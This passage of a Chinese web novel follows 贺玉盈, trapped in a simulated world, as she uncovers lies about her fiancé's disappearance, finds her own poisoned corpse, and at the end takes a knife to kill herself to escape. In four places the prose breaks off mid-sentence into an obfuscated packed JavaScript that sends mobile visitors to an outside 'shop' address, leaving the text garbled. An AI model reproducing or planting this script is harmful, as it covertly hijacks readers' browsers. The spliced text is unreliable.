贺玉盈又翻了翻聊天记录。几乎所有的消息都是对方发给自己的,而自己从来都没有回复过。 她从手机里的记录推测出自己“消失”的时间大概就在婚礼后不久。 到底是怎么回事? 如果奇恒之府的一切都只是她做的一个梦,那梦未免也太过真实了。而且【助手】那些话在此时还清清楚楚地回荡在她的耳边。 如果不是梦,而是髓海,那现在的情况又是怎么回事?她再消沉,也不至于好几个月都跟别人断绝音讯,连手机都要开飞行模式。 贺玉盈想了想,慎之又慎地在聊天框里敲下几个字: 【我没事】 对方很快就变成了正在输入中…… 一秒后,页面弹出新消息:【盈盈你终于回消息了,你现在在哪】 我在家…… 还没发过去,对方又连弹了好几条消息过来。 【上次医院看过你后,我怎么打你电话也打不通,给你发消息也没回】 【担心死我了,我生怕你出什么事】 医院? 她不记得自己有去过医院。 贺玉盈删掉聊天框的字,重新发了条消息:【当时我精神不太好,现在已经好多了】 【那就好,当时真的吓死我了。听说你服毒了,我吓得差点站不稳,真的,你以后千万不能再干这种傻事了】 看清这句话时,贺玉盈头皮一紧。 服毒?她“住院”是因为服毒,不是因为中暑吗? 【璐璐,你知道我在医院躺了多少天吗?我问过我爸妈,他们都不告诉我】 璐璐:【我不知道啊……其实我就去医院见过你一次,后来你转院了,我就找不到你了。一直没收到你的消息,我还很担心你。后来我找人联系上你爸妈,他们说你心情不好出去旅游了,我才放心】 贺玉盈的手放在键盘上,犹豫良久,才打出一行字: 【我还有一件事想问问你】 【什么】 【陆州去哪里了】 许久,对方始终都是正在输入中的状态,但屏幕中却没有跳出新消息。 在打开手机后没多久,贺玉盈就熟悉地把它翻了个遍。几乎所有平时说得上几句话的人都向她发来了问好的消息,可是唯独没有陆州。 陆州的聊天框安安静静地被挤在页面手机最下面。最新一条消息的时间,是几个月前。 对方终于发来了消息,但内容却不是贺玉盈想要看到的: 【……盈盈,我们别提这件事了,过去的就让它过去吧,好吗】 贺玉盈忽然觉得有点疲倦。她可以跟素不相识的人斗智斗勇,毫无顾忌地利用欺骗别人,但是她不想这么对待亲近的人。 奇恒之府的经历改变她了吗,或许没有。 【我们约个时间出来吃饭怎么样,就明晚】 又过了很久,对方才说:【好】 话题就此终结。 贺玉盈跟父母难得吃了一顿晚饭。她很想打起精神来观察他们,意图找到这对夫妻的破绽。可是她低下头就被碗里热腾腾的蒸汽给熏花了眼睛。她憋着一口气,迅速吃完饭回到自己的房间。 房间里一尘不染,床单和被褥充满了阳光的味道,不像是没有人居住过的样子。 她握着手机,等待第二天的到来。 …… 爸妈和她记忆中的一模一样,她告诉他们她要出门和朋友吃饭的时候,两人如临大敌,但假装没事。爸爸的屁股微微抬起,妈妈虽正襟危坐,但浑身都绷紧了。 爸爸:“你要跟哪个朋友吃饭啊?” 贺玉盈:“林璐,你们都认识的。” 听到林璐的名字后,夫妻俩明显松了口气,爸爸说:“那你去吧,记得别玩太晚。” “大概几点回来,晚上给我们发个消息。”妈妈说。 “看情况吧,不会太晚。” 贺玉盈换好鞋子,拉开门,要走出去时,爸爸又说:“……不要跟那些朋友玩得太近,注意安全。” 这话实在奇怪,要是别人,贺玉盈还能解释为爸妈关心自己,可对方是林璐。于是她顿在门口,回头问:“爸,你是什么意思?” 爸爸闭上嘴。 贺玉盈把目光投向母亲,对方淡淡道:“你爸是让你别没心没肺的,自己多注意点。” 欺骗女神阿帕忒。 贺玉盈笑了笑,“我知道了。” 说完,她关门离开了。 她和林璐约在常去的一家饭店里,到那里时,林璐已经等着了。 贺玉盈不知道自己有多久没有看见过这张脸了。如果陆州是让人粉身碎骨的炸弹,那林璐就是细细小小的导火索。 如果不是林璐的存在,她说不定真的会把陆州的“死亡”当作一场意外事故。 而此时,坐在她对面笑意盎然的林璐,是从没“消失”过的林璐。 林璐:“我好久都没和你见过了!看到你没事太好了。” “我真的没事了。”贺玉盈说,“你等很久了吗?” “才来一会儿而已。你想吃点什么?” “什么都行。”顿了顿,贺玉盈说,“其实我今天是有点事想问你。” 林璐:“猜到了。唉,你想问什么就问吧,当着你的面,我什么都不想瞒着你。” 贺玉盈点点头:“那我就问了。婚礼那一天,发生了什么事?” 林璐露出一个略显震惊的表情,“你这都不记得了吗?” “嗯。” “……那天其实也没发生什么,你结婚,大家都挺高兴的,一直在闹,所以没人注意陆州什么时候不见的……等我们发现的时候,哪里都找不到他,打电话也打不通。那天他一个亲戚朋友都没来,谁都不知道他去哪儿了。”说到这里,林璐深吸一口气,“盈盈,真的很奇怪,你们结婚的时候难道没商量过请柬的事吗?婚礼!他居然一个亲戚好友都没到场!我们私下合计了一下,才发现说不定他……” 她小心翼翼地看了眼贺玉盈的脸色,才继续说:“说不定他压根儿就没想真的结婚!就是来骗人的!” “他消失了?”不是死了? “对。我说这些事,不会让你伤心吧?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13176139|129932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “不会。都过去了,我现在问起来,只是不想一直稀里糊涂的。本来想问问我爸妈,但他们太怕惹我伤心,什么都不说,我只能来问你了。” 闻言,林璐这才放下心,继续说:“……总之那天你就一直等他来,期间魂不守舍的,什么都不肯吃不肯喝,还是我和你爸妈劝你,你才吃了点东西……我真的恨死陆州了。” 贺玉盈:“我不是还中暑了吗?” “中暑?!”林璐惊讶道,“你什么时候中暑了?我一点都不知道!” “其实我也记不太清了,从医院醒过来后,脑子就懵懵的。”贺玉盈道,“鬼门关走过一次,什么都放下了。” 林璐既赞同又不赞同:“要是这样,我宁愿你放不下!那天就不该走,该一直陪着你的。” “都过去了。”贺玉盈道,“璐璐,我还有最后一件事想要搞明白。” “问吧。我有什么是不能告诉你的?” “结婚前,你对我说了三句话——”贺玉盈盯着她的双眼,道,“‘不要轻易答应男人的求婚,不要轻易相信男人的谎言,不要轻易和男人步入婚姻的殿堂。’你还记得吗?你说什么都可以告诉我,那你告诉我,为什么你要对我说这些话?璐璐,你都知道什么?” “……”林璐僵硬地笑了一下,“我说过这种话吗?” “你说过。” 林璐视线躲闪,表情很是纠结。 贺玉盈并不逼她,只是静静地看着。 最终,林璐败下阵来。 “……盈盈,对不起,我希望你不要怪我没有及时告诉你……” …… 贺玉盈浑浑噩噩地走回了家,坐上电梯,按亮楼层。 电梯按键面板的小角落还残留着小孩子用油笔画画的痕迹。 不需要任务失败,这个世界已经真实到让她忍不住想要迷失在这里了。 打开门,夫妻俩瞬间就把目光投在她的身上。 妈妈若无其事:“回来了。” 爸爸:“玩得开心吗?” 贺玉盈进了门,换了拖鞋,笔直地站着。 “爸,妈,我是不是中过暑?” 夫妻俩浑身一震。 爸爸:“怎么提起这个来了?都多久的事了。” “是因为什么?” “……” 沉默良久,妈妈才道:“还能是为什么!陆州那小子搞了个什么信,把你骗到什么荒郊野外。多大的太阳!外面四十度的温度!要是再晚把你送进医院去,那五脏六腑都得给热熟了!” 爸爸低声喝道:“你说这些干什么!” 妈妈不甘示弱:“怎么说不得!把女儿想得跟你一样,提不了一句丑事!?” 贺玉盈:“没事,我就是问问。我先进房间了。” 说完,她径自离开客厅,留下父亲一个劲地埋怨母亲提起旧事,害她难过。 说起难过,贺玉盈倒没有十分难过。难过的情绪早已被追求真相的渴望给压了下去,现在她想要搞清楚的,只有一件事—— 为什么父母和林璐的话完全不一样? 中暑和中毒之间天差地别。 一直到夜深,贺玉盈也还没有想明白。 欺骗女神到底是谁?是爸妈,是林璐,还是已经“消失”的陆州? 陷入睡梦时,脑海中忽然浮现出今晚的画面。 林璐一脸自责,沉重地对她说: “陆州出轨了。” 45. 第45章 阿帕忒 陆州绝不会出轨。 每一个热恋中的情侣都会像她一样信任着自己的对象。 人是可以伪装的。人也可以说谎。 有的人说起谎来,能骗过全天下的智者;有的人伪装起来,即使火焰烧穿脏腑也不会露怯。 她不是信任陆州,她是信任自己。 如果陆州出轨,她不可能连一点端倪都发现不了。哪怕是现在,她回想起曾经的过往,也找不到一点漏洞。 陆州可能欺骗了她,但绝不会是在这种事上。 那三句话的含义,绝不会如此浅薄。 如果是这样,林璐为什么要对她撒谎? 林璐就是欺骗女神吗? …… 第二天,贺玉盈换了身衣服,在爸妈的要求下戴上双手套,围上件红色的围巾,出门了。 爸妈甚至还提出陪她一起出门。贺玉盈拒绝了。 她来到楼下,打了辆出租车。地图上没有德落亚庄园的定位,所以贺玉盈定在了它的附近。 十几分钟后,一辆白色的小汽车。停在她的面前。 拉开车门,报完手机尾号,贺玉盈就脱下了自己的手套和围巾。车内很暖和。 车窗外的街景格外熟悉,贺玉盈闭上眼睛能默出一路的告示牌和红绿灯。两边的树木挂着黄黄绿绿的叶子。 “美女。”司机从后视镜里看了她一眼,随口聊道,“你去那荒郊野外的干啥呢。” 贺玉盈说:“我去那里找个人……在德落亚庄园。” “啥?啥庄园?”司机道,“就是别墅啊?那里哪有什么别墅?” “没有吗?” “美女,咱市里的别墅区也不在那地方啊!你要去富人住的地方,现在还能改订单。” 贺玉盈摇摇头:“不了,我就去那里。” 司机又从后视镜瞥了她一眼,转动方向盘,瘪嘴道:“美女,不是我多管闲事,你可别被人给骗了。那地方真是偏僻,出了城,我们还得上一个多小时的高速才能拐过去,荒郊野岭的,附近一大片的荒地,就几户人住在那儿。美女你要真遇上什么事,能信任我,放心说,我肯定帮忙。” 贺玉盈失笑:“真没事,师傅。顶多就是朋友恶作剧嘛!” 司机点点头:“行吧!那个美女,我再跟你商量个事……” “嗯。” “你看那地方确实人少,也不太好打车,你要是不介意啊,回来的时候能继续坐我车不?你看我怎么把你送过去的,再怎么把你给接回来,安全。” 贺玉盈:“没问题。” 车内暖气足,上了高速后,贺玉盈就开始昏昏欲睡了。 她做了一个光怪陆离的梦,梦里的画面错综复杂,似乎还有人在天边说话,直到司机叫她:“到了,美女。” 贺玉盈一个激灵彻底清醒过来,揉揉脸,开门钻出汽车。外面的场景果然和司机说得分毫不差,一片看不见尽头的荒地,长着枯黄的杂草,因为入冬,地面像斑秃一样。 这里原本应该是一座庄园。 贺玉盈说不上是什么心情,失望,却没有那么失望。 一阵寒风忽然刮过,她瑟缩了一下,缩起自己裸露在外的脖子和双手,轻轻跺了跺脚,转身钻回了停靠在路边的汽车里。 司机诧异:“美女,你不再去其他地方看看?” 坐了这么久的车才到,这么一小会儿就回去了得多不值得。 “不用了。”贺玉盈笑笑,“已经能确定我是被恶作剧了。” 见此,司机重新打开暖气,发动汽车:“那我可就出发了?” “嗯,回去吧。” 回去的路上,贺玉盈没再睡觉,而是默默地回想着所有的过往。 记忆里,她和陆州实打实地相恋了五年,她甚至能回忆起两人相处的每一个生活细节。后来陆州求婚,两人开始准备结婚的一切事宜,她将这个好消息告诉林璐时,对方却一反常态地说了三句莫名其妙的话。 后来,婚礼上,她得知陆州猝死的消息。 等她抱着华丽的婚纱赶过去时,看见的是他躺在冰棺里,了无声息。 很荒谬的结局,很荒谬的死亡,荒谬到贺玉盈顺理成章地想起了林璐的那三句话,绝望地质问她。 最后,她来到了德落亚庄园,进入了奇恒之府。 但在这个世界,有许多的细节都和她记忆中有所出入。 到底哪个是真?哪个是假? 回忆到这里,似乎一切的真相都已经浮现出来。贺玉盈需要更多的时间。 贺玉盈付了两倍的车费,下了车,朝家里走去。她若有所思地走进电梯,刚准备关上电梯门,就看见一个小男孩抱着足球往这边跑。 她按住了按键,不让电梯门关上。 男孩飞一般跑进了电梯内站好,乖巧道,“谢谢姐姐,姐姐我住九楼。” 贺玉盈的手一顿。 男孩这下也发现了不对劲,他看了看电梯按键,又看了看贺玉盈,“姐姐,你也住九楼的?” 贺玉盈点头:“嗯。” “姐姐,我怎么没有见过你啊?”男孩说,“是新搬来的吗?” 想了想,贺玉盈才说:“我一直都住在这里。“ “那真奇怪,我怎么没见过姐姐你呢?”说着,男孩又住了嘴,困惑地皱起眉。 电梯逐渐降速至停下,门缓缓开启。贺玉盈没觉得有什么不对劲,现在这个社会,住在同一栋楼的人家没见过面多正常。 她和男孩前后脚走出电梯,走到自己家门口准备开门,男孩的声音从身后传来: “姐姐,你是鬼吗?” 贺玉盈一震,回头看他。男孩抱着足球,神情忐忑,见她回头,仿佛下了好大的决心,弱弱道:“我听妈妈说,隔壁家有个女儿死了,就是你面前那家。” 空气足足凝滞了好几秒。 贺玉盈笑了一下:“你妈妈误会了,之前是我生病住进医院。” 小孩子哪里懂生和死,唯一的知识是从电视剧和父母口中得知的,此时见贺玉盈否认,自己也犯起了迷糊,以为是哪里搞错了。 他挠挠头:“哦……” “乖乖回家吧。”贺玉盈轻声道。说完,她便打开房门,走了进去。 她脱下手套搁在鞋柜上,弯下腰拿出拖鞋换上,一抬头便愣住了。 父母和她离开时一样,端端正正坐在沙发上看电视。电视里传来熟悉的广告声,母亲压了压嘴角,拿起遥控,按了几下,电视重新传来欢声笑语。 爸爸一见她,立刻站起身:“盈盈,回来了?晚上想吃什么?” 贺玉盈:“我想喝点热粥。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13221363|129932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “好好好,晚上就喝粥了。” 妈妈:“光喝粥怎么够?弄点菜啊,肉啊。瞧瞧那胳膊那腿,都瘦成白骨精了。” 贺玉盈笑着应付了两句,转身回到了自己的房间,顺手锁上了门。 一进门,她就坐到书桌前,翻出纸笔,开始捋思路。 这个世界有几处疑点: 1.林璐说她“中毒”,父母说她“中暑”。 2.隔壁小孩说她“死了”。 3.她没有记忆。 这个世界与旧世界有几处矛盾: 1.旧世界陆州“死亡”,新世界陆州“消失”。 2..旧世界林璐“消失”,新世界林璐还在 3.旧世界存在德落亚庄园,新世界不存在。 4.关于婚礼,部分细节有出入 贺玉盈想了想,在第四条后面打了个问号。 至于前几条…… 第一条和第二条关联起来,她倾向于自己其实是“中毒”。只有中毒,才会让邻居小孩听到关于“死”的谣言。“中暑”的说法,或许是父母被骗,或许是父母骗她。 第三条,她没有这个世界的相关记忆,所有的信息都是从其他人口中得知,无法判断真假。如果她不是因为中毒而丢失记忆,也不是因为得了精神病,那么基本能确定这个世界是髓海。她进入了这个世界,“扮演”自己。 贺玉盈拿起纸张,一边踱步,一边拿着笔圈圈画画。 后面的矛盾里—— 第一条,为什么新世界要让陆州”消失“而不是”死去“?假设上述推论均成立,陆州”消失“是因为髓海无法捏造他的身份?还是因为他已经死了?抑或者,髓海是根据现实构建的,而陆州压根儿不属于现实里的人,所以只能产生这样一个bug? 第二条,林璐的存在和陆州一样,如果她能解释出第一条,那么这一条当然就不攻自破。 第三条,德落亚庄园究竟是否存在?她之前所见到的德落亚庄园是现实的庄园,还是髓海里的庄园?如果是髓海里的庄园,为什么这个世界不能构建出来? 说起来,德落亚庄园这样的建筑本来就很奇怪。 贺玉盈顿住脚,手掌垫着,在第三条旁写下小小的批注:存疑。新世界依据现实构建,德落亚庄园不属于现实。 这么顺下来,她的思路清晰多了。往常被她故意压下的疑虑也慢慢涌上来。 想到了某种可能,她的手忽然卸了一丝力气。这一卸力,轻飘飘的纸张就落在了床边的地板上。 贺玉盈一直认为真相是需要证据的,没有证据的推论,全都是骗人的谎话。如果想要证实她此刻的推论,贺玉盈有两个方法,第一,找到陆州对峙,第二,回到现实。 鉴于陆州会对她说谎,那么她只有一个选择——必须要回到现实。 这样出神地想着,贺玉盈就弯下腰,捏住了那轻薄的纸张。 眼珠子只是轻轻一瞥,她像被雷劈了一般瞬间愣在原地。 好半晌,她才捡起地上的纸扔回到床上,随后跪在地上,伸长胳膊,从床底捞出了一大团东西。 这是一具尸体。 死者表面有大量红色尸斑,嘴唇紫绀色。 狰狞的面容和贺玉盈一模一样。 死者就是她。 46. 第46章 阿帕忒 死者皮肤惨白,表面可见鲜红色的尸斑,耳垂呈红色,衣着夏装,头发披散,双脚赤裸。 髓海里的尸体一般不会腐烂,可以想见她在床底躺了多久。 贺玉盈忍着诡异感,仔细地检查这具尸体。 毫无疑问死的人就是“她”,死因是中毒,皮肤有轻微的擦伤,指甲完好,衣服整洁,没有与人打斗的痕迹。 检查完后,她把尸体原封不动地塞回了床底。 贺玉盈躺回到床上,那张和她长得一模一样的死人脸在脑海中挥之不去。 此刻她意识到自己确实松懈了,否则她应该在第一时间发现这具尸体,而不是现在才意外发现。 不过既然已经发现尸体了,那么欺骗女神是谁也就清晰了。 贺玉盈拿起纸,一目十行地扫过上面的内容。 再在这里待最后一天,等她无法从这个世界获取更多的信息时,她就该…… 咚咚咚。 “谁?”贺玉盈一个激灵。 “是我。”门外的父亲说,“吃饭了。” 贺玉盈迅速检查了床底的尸体有没有放好,接着起身,快步走到门边,打开门。 “来了。” 不知是不是错觉,贺玉盈总感觉父亲有意看了一下她身后的房间。 “爸?” “没事没事,快来吧,饭都要凉了。” 贺玉盈回头看了一眼房间,拉上门,狐疑地跟在他身后。 来到餐桌,贺玉盈坐在自己的座位上,面前摆放着一碗热腾腾的粥,桌上还放着几碟可口的小菜。金黄的暖光显得无比温馨。 吃了几口,贺玉盈说:“爸,明天不用准备我的饭了,我得出去一趟。” 爸爸一愣,道:“盈盈,最近怎么总往外面跑啊?” 妈妈也皱起眉头。 “我有点儿事要办,没别的,放心吧。” 妈妈:“什么事这么急匆匆的,连饭也不回家吃?” “你妈是说啊,你身体才好没多久,怕你老是出去又生病了。就乖乖待在家里,爸爸妈妈陪着你多好。” “爸,妈,我必须得出去。”贺玉盈顿了顿,“说起来,你们总是在家待着,不出去玩玩吗?爸,你不去跟牌友打牌了?妈,你那些喜欢唱歌跳舞的朋友呢?” 在她的视线下,夫妻俩的表情都是一僵,最后还是父亲抽动着嘴唇说道:“比起那些,做父母的,还是更想陪儿女。” 是吗。 贺玉盈点点头,低头喝了一口粥。 饭菜的味道和记忆中的分毫不差,她差点儿要分不清哪里是虚幻,哪里是现实了。 这局髓海的关键点想必就在这里吧。 创造一个和现实几乎一模一样的世界,这里的每一个人都友善,每一个人都包容,对于在奇恒之府艰难求生的人,即使他们知道过关的条件,也不会想离开这里。 这就是所谓的“迷失”。 可是恰好贺玉盈不是一个会为这些停留的人。 假的始终是假的。 她是一个追求真相的人。 就像当初她愿意进入德落亚庄园一样,假如再给她一次机会,她仍然会选择进入奇恒之府。不是为了陆州,也不是为了林璐,她只是想知道真相。 同理,这里的“父母”再如何慈爱,这里的家庭氛围再如何温馨,最多也只能让她恍神一瞬,她绝不会为此停留。 “爸,妈,就明天一次。”她笑笑说,“明天过了,我就听你们的。” 夫妻俩看着她的笑颜,面面相觑,无奈地同意了。 吃完饭,贺玉盈陪爸妈坐在沙发上,一边聊天一边看着电视剧。窗外万家灯火,窗内温馨惬意。爸爸还端来一盘切好的水果。 真是舒适的生活。贺玉盈想。 夜深,她回到房间,锁上门,忽略床下的尸体,在衣柜里到处翻找。 最后,她从衣柜深处的一件大衣口袋里掏出了一串钥匙。 此刻贺玉盈必须得庆幸,即使这个世界与现实有一些出入,至少这串钥匙还在这里。 陆州毫无疑问是个工作能力出色的人,他很快在这座城市站稳脚跟,买下了一套房。他把这套房作为与贺玉盈的婚房,让她全程参与了婚房的装修和设计。 贺玉盈甚至已经搬进来和他住了一段时间,只是为了婚礼流程暂时搬出而已。 陆州出事以后,她短暂地回到了这个家收拾他和自己的物品,也是在那时从电脑里发现了那封莫名其妙的邮件。 此刻她再次站到门前,竟然感到一些陌生。 贺玉盈拿出钥匙,顺利地打开了门,直接走进客厅。 屋内的摆设一如既往,贺玉盈没有功夫在这里花费时间,她直奔书房而去。 书房的门锁是智能锁,录入了她和陆州两个人的指纹。 书房内有两个书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273821|129932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桌,一个是她的,一个是他的。除此之外还有小茶几和地毯之类,以供二人休息娱乐。她还记得有时她会坐在迷你沙发上翘着腿看书,而陆州就坐在书桌前专心致志地做些什么。 现在回想起来,他在做些什么呢? 两人都不喜欢混淆工作与生活,如果有必须要带回家完成的工作,陆州都会向她抱怨几句,然后她会帮他一起完成。 所以陆州不是在工作。 他平时写写画画,敲敲打打的,在做些什么呢? 贺玉盈走到桌前,翻看他抽屉里的纸张,紧接着又迅速扫过书架上的书籍。她和陆州都是好奇心重的人,一旦对什么产生了兴趣,就会不遗余力地去钻研,因此这些书籍十分杂乱,有诗歌、有小说、有自传,有工具书,各种类型。 她想起来了。 陆州对她说过,他喜欢研究一些稀奇古怪的东西,包括密码、神话、机关、和药草等等。因为他的缘故,贺玉盈也会涉猎一点。 像开锁这种技巧,就是在某个午后他手把手教给她的。 贺玉盈将抽屉里的纸翻了个遍,称得上特别的,只有几张写满了各种数字,字符及演公式的纸,密密麻麻,毫无规律。和现实的一模一样。 她看不懂这些。 放下手里的纸,贺玉盈打开了桌上的电脑。 陆州对她从来不设防,别说电子产品的密码了,连他身上长了几颗痣,晚饭偷吃了几袋零食她都知道。 也正因如此,她才会对“陆州对她有秘密”这件事如此震惊。 电脑开启,桌面的壁纸甚至都是她亲手设置的。 她打开了各种浏览器的历史记录和搜索框,然后又登陆了各种工作软件,一无所获。 电脑的信息都快被她翻个底朝天了,她仍然没有找到任何有价值的信息。 贺玉盈叹了口气,无奈地登上了他的邮箱。最新一条邮件在几个月前,发信人是林璐。 已读的标记如此刺眼,贺玉盈挪动鼠标,点开了这封邮件。 “陆州: 期限已到。” 邮件的内容很短,但足够贺玉盈浮想联翩。 三秒后,页面自动弹出,邮件消失,就像从没出现过一样。但贺玉盈知道这不是她的幻觉。 滴滴。滴。滴。滴滴。 滴—— 贺玉盈快速关闭了电脑,放轻脚步。 有人在试图开门。 47. 第47章 阿帕忒 即使输错了密码,门外的人也毫不气馁,而是再次尝试。 滴。滴滴。滴…… 这回贺玉盈没等门外人输完便抢先一步打开了门。 熟人。 “璐璐?”贺玉盈说,“你怎么在这儿?” 林璐脸上闪过惊讶,随即又整理好表情,“你也在这里……” “我当然在这里。来之前我还在想,会不会又在这里遇见你一次?我以为我是想多了,没想到你果然出现了。” 林璐的嘴唇蠕动两下,似乎有什么话想说,不过最终没有说出口。 贺玉盈:“你还没有回答我,为什么你会出现在陆州的家?你有钥匙?你为什么会有钥匙?是陆州给你的,还是你自己配的?你和陆州之前就认识?之前你告诉我说‘陆州出轨’其实是一个烟雾弹?” 或许不是烟雾弹,这个世界的林璐的身上有太多bug了,这些bug影响了她的认知和判断也说不定。 “盈盈,你一下子问这么多问题,我……” “那么就先回答第一个问题吧——‘你怎么在这儿?’” “我是来取一些东西的。” “什么东西?” “……盈盈……”林璐换上恳求的表情。 “你不想说?你不想让我追究下去?” “盈盈,你会知道……” “‘你会知道真相的,只不过不是现在’对吗?”贺玉盈打断了她的话,“可是你不知道‘现在’不是‘现在’,实际上我已经到了该知道真相的时候了。这里时间混乱,很多事情都无头无尾,这一点在你的身上尤其明显。如果你想要说谎话来欺骗我,林璐,作为曾经的朋友,我并不要求你一定对我坦诚——事实上有些问题的答案我已经有些思路了。我可以直截了当地告诉你我的猜测:你来是为了陆州的电脑,更准确一点,是他的邮件。如果你的目的被我说中了,那我也可以告诉你你来晚了。” 林璐淡定自如的神情终于出现了几条细小的裂缝,像是即将碎掉的瓷器。 “你不想回答那些无足轻重的问题,我不强求。我只向你询问一件事,唯有这件事,你务必要给我唯一的正确答案,作为曾经最要好的朋友。” 虽然林璐的行为和举动都像是程序紊乱的机器,充满了矛盾,但是机器也有基础程序,她给出的反馈一定是坚定不移地按照“指令”执行的。贺玉盈不奢求能从她身上得出直接的答案,但她需要信息。 就像要找出无法运行的代码究竟是哪里出了错。 林璐没有吭声,也没有拒绝,她静静地站在门口,沉默着。 于是贺玉盈直接开口问道:“你跟陆州之前就认识,对不对?” 在林璐回答之前,她又谨慎地补充道:“是‘之前’,甚至是在我和陆州认识之前,你们就认识了。你们是朋友?队友?” “……” 林璐没有立刻给出答复。 “还需要我逼问吗!林璐!”贺玉盈恨不得上手撕烂她白瓷般的脸,“你们把我骗得团团转还不够吗?我已经顺你们的心愿了,现在我只想要一个答案。这个答案由你告诉我,比被我自己发现得要好。” “我和陆州……”面前的女孩咽了口唾沫,终于缓缓道,“是家人。” “……” 家人? 贺玉盈扶着门框的手有些脱力,她竭尽全力不让自己摔倒在地。 这个答案如此天马行空,离谱到她甚至没有将它纳入选项中,可是偏偏就是它。 偏偏越离谱的答案越有说服力。 家人。 “什么类型的家人?”贺玉盈听出自己的声音无比干涩。 林璐居然笑了一下:“是兄妹,亲兄妹。” 贺玉盈努力消化这个信息,可她还是难以置信。 “好,好。”她说,“那你会告诉我陆州的行踪吗?既然你们是兄妹,你应该知道。” 谁料林璐竟然皱起眉,露出迷惑的眼神:”不,我不知道。” “你不知道?” “我不知道。我……我也不知道是为什么……我不知道。”她的语气渐渐低下来,“我没有骗你,我真的不知道。” bug。贺玉盈想。 “那你和陆州的目的是什么?你和他为什么要接近我?你们为什么要装作不认识?你们……林璐?林璐!”她瞳孔震颤。 面前的朋友满头大汗地蹲下身,面色惨白,痛苦得像是被人当头打了一棒。她捂住脑袋,混乱道:“我不知道……我不知道……我不知道……因为我们需要你……我们需要你……戒指是钥匙……还差一个人……盈盈……不要相信他……” 贺玉盈死死抱住了她,嗓音颤抖,笨拙地安抚她:“我明白了,我明白了。林璐,你不用再说了。” 渐渐地,林璐停止了喃喃自语。 “……盈盈?” 她懵懂地抬起头,侧过脸去瞟贺玉盈。她的神情已然颠倒,现在竟然有一种稚儿般的天真。 贺玉盈松开了她,站起身,轻轻地说:“璐璐,你还有什么要做的吗?” 林璐摇摇头。 “那你就回家吧。” “回家?那你呢?” “我们下次约个时间出来吃饭。” 林璐盯着她看了好半晌,最后才点点头,“那我们约好了。” “约好了。” 贺玉盈从屋里顺了点儿东西便和林璐一起走出小区。 把她送上车,看着车尾消失在道路的尽头,艳阳之下,她感到一股透彻心扉的寒意。 从这位虚伪的朋友的只字片语中,她已经掌握了大部分的真相,验证真相,则需要另一位当事人的协助。 离开这该死的髓海的方法,她也已经知道了。 她以为自己会恨林璐。毕竟她是如此地相信她,而她又是如此残忍地欺骗了她。但是这一刻,贺玉盈却觉得再多的怨恨都烟消云散了,她现在唯一的想法只有一个。 希望这位虚伪的朋友能好好的。 贺玉盈又打了辆车去老地方。 巧合的事,接单的还是那位出租车司机。 司机见了她,乐了:“我说怎么又有人要去那荒地,感情还是美女你啊。这回是怎么回事,玩真心话大冒险?” “差不多。”贺玉盈说,“说是在那片土里给我埋了个礼物。上次去没想到这一层,今天再去一次。” 司机:“年轻人真会玩。” 贺玉盈笑了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299715|129932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑。 司机也不再说话,趁开车的空档放了首时下流行歌手唱的歌。贺玉盈于是闭上眼,靠在椅背上睡觉。 两个小时的车程说长不长说短不短,贺玉盈做了个梦就到了。 她下车走了两步,这地方还和上次看到的一样,一片荒芜。贺玉盈把手塞进口袋里,突然想起什么似的,转头走回到车边,敲了敲车窗。 车窗下降,“美女,怎么了?” 贺玉盈:“师傅我忘记说了,今天你就先走吧。” “美女,这可不安全啊。” “没事儿。”贺玉盈说,“我朋友说会来接我。” 司机犹豫两秒,又叹又笑:“唉,你们年轻人啊!” 说着,他重新启动了汽车。 “慢走啊师傅。” “哎。” 汽车掉了个头,眨眼就窜了出去。 直到这点白色彻底消失在眼前,贺玉盈才揉了揉僵硬的脸,冷下神色,转身朝着‘德落亚庄园’的门口走去。 依照以及中的位置,她大致找到了庄园的门口。随后她便拿出从房里顺出来的刀,放在手中掂量。 此刻她是不是还得庆幸一下,自己已经有过自杀的经验了? 怪不得这是个隐藏副本呢。 没有胆子自杀的人这辈子都不可能走出隐藏副本。所以副本也不会出现在这类人面前。 